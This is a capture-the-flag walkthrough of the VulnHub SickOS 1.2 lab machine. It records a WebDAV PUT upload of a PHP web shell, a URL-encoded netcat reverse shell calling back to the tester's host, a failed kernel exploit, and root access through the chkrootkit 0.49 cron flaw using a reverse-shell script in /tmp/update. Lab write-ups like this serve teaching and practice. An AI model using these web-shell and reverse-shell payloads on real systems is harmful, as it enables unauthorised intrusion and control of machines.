

# Port 80

1. Proceed to /test dir
- Found CMS Version: lighttpd/1.4.28
    - No exploits found
2. Check HTTP methods

Request

PrettyRawHex↵\n☰

1 OPTIONS /test/ HTTP/1.1  
2 Host: 192.168.56.104  
3 Cache-Control: max-age=0  
4 Upgrade-Insecure-Requests: 1  
5 User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.43  
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
7 Accept-Encoding: gzip, deflate  
8 Accept-Language: en-US,en;q=0.9  
9 Connection: close

Response

PrettyRawHexRender↵\n☰

1 HTTP/1.1 200 OK  
2 DAV: 1,2  
3 MS-Author-Via: DAV  
4 Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK  
5 Allow: OPTIONS, GET, HEAD, POST  
6 Content-Length: 0  
7 Connection: close  
8 Date: Sat, 25 Dec 2021 00:55:52 GMT  
9 Server: lighttpd/1.4.28  
10  
11

- Able to insert webshell

3. Insert webshell

```
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.56.104/test/shell.php
```

Request

PrettyRawHex↵\n☰

1 PUT /test/webShell.php HTTP/1.1  
2 Host: 192.168.56.104  
3 Cache-Control: max-age=0  
4 Upgrade-Insecure-Requests: 1  
5 User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.43  
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
7 Accept-Encoding: gzip, deflate  
8 Accept-Language: en-US,en;q=0.9  
9 Connection: close  
10 Content-Length: 29  
11  
12 <?php system(\$\_GET['cmd']);?>

Response

PrettyRawHexRender↵\n☰

1 HTTP/1.1 201 Created  
2 Content-Length: 0  
3 Connection: close  
4 Date: Sat, 25 Dec 2021 01:03:14 GMT  
5 Server: lighttpd/1.4.28  
6  
7

4. Test RCE

Request

PrettyRawHex↵\n☰

1 GET /test/webShell.php?cmd=id HTTP/1.1  
2 Host: 192.168.56.104  
3 Upgrade-Insecure-Requests: 1  
4 User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.43  
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
6 Referer: http://192.168.56.104/test/  
7 Accept-Encoding: gzip, deflate  
8 Accept-Language: en-US,en;q=0.9  
9 Connection: close

Response

PrettyRawHexRender↵\n☰

1 HTTP/1.1 200 OK  
2 X-Powered-By: PHP/5.3.10-1ubuntu3.21  
3 Content-type: text/html  
4 Connection: close  
5 Date: Sat, 25 Dec 2021 01:05:43 GMT  
6 Server: lighttpd/1.4.28  
7 Content-Length: 54  
8  
9 uid=33(www-data) gid=33(www-data) groups=33(www-data)  
10

5. Obtain shell

- URL encoded payload
- ```
rm%20%2Ftmp%2Ff%3Bmkfi fo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%20%3E%261%7Cnc%20192.168.56.103%20443%20%3E%2Ftmp%2Ff
```
- Only worked on port 443
- ```
(rootkali)-[~/vulnHub/sickOS/192.168.56.104/exploit]  
# nc -nvlp 443  
listening on [any] 443 ...  
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 45904  
/bin/sh: 0: can't access tty; job control turned off  
$ whoami  
www-data  
$
```
- Failed on ports
    - 4444
    - 1337
    - 5555

# Privilege Escalation via Vulnerable Binary

- 3.11.0-15-generic

## 2. Run kernel exploit

```
gcc -pthread 41995.c -o exploit
chown guest:guest exploit
setcap cap_net_admin+ep ./exploit
su guest
whoami
./exploit
```

- Did not work

3. Found a suspicious software running on daily cron

```
Cron jobs
https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root      722 Jun 19  2012 /etc/crontab

/etc/cron.daily:
total 72
drwxr-xr-x  2 root root   4096 Apr 12  2016 .
drwxr-xr-x 84 root root   4096 Dec 24 12:01 ..
-rw-r--r--  1 root root    102 Jun 19  2012 .placeholder
-rwxr-xr-x  1 root root 15399 Nov 15  2013 apt
-rwxr-xr-x  1 root root   314 Apr 18  2013 aptitude
-rwxr-xr-x  1 root root   502 Mar 31  2012 bsdmaintils
-rwxr-xr-x  1 root root  2032 Jun  4  2014 chkrootkit
-rwxr-xr-x  1 root root   256 Oct 14  2013 dpkg
-rwxr-xr-x  1 root root   338 Dec 20  2011 lighttpd
-rwxr-xr-x  1 root root   372 Oct  4  2011 logrotate
-rwxr-xr-x  1 root root  1365 Dec 28  2012 man-db
-rwxr-xr-x  1 root root   606 Aug 17  2011 mlocate
-rwxr-xr-x  1 root root   249 Sep 12  2012 passwd
-rwxr-xr-x  1 root root  2417 Jul  1  2011 popularity-contest
-rwxr-xr-x  1 root root  2947 Jun 19  2012 standard
```

#### 4. Run it, try to get a version

```
www-data@ubuntu:/tmp$ chkrootkit
/usr/sbin/chkrootkit need root privileges
www-data@ubuntu:/tmp$ chkrootkit -h
Usage: /usr/sbin/chkrootkit [options] [test ...]
Options:
    -h                show this help and exit
    -V                show version information and exit
    -l                show available tests and exit
    -d                debug
    -q                quiet mode
    -x                expert mode
    -r dir            use dir as the root directory
    -p dir1:dir2:dirN path for the external commands used by chkrootkit
    -n                skip NFS mounted dirs
www-data@ubuntu:/tmp$ chkrootkit -V
chkrootkit version 0.49
www-data@ubuntu:/tmp$
```

- There is an exploit for that version

## 5. Run exploit

```
nano /tmp/update
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 443 >/tmp/f
chmod +x /tmp/update
```

```
(root@kali:~/vulnhub/sickOS)
nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 36464
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
Wow! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.
```

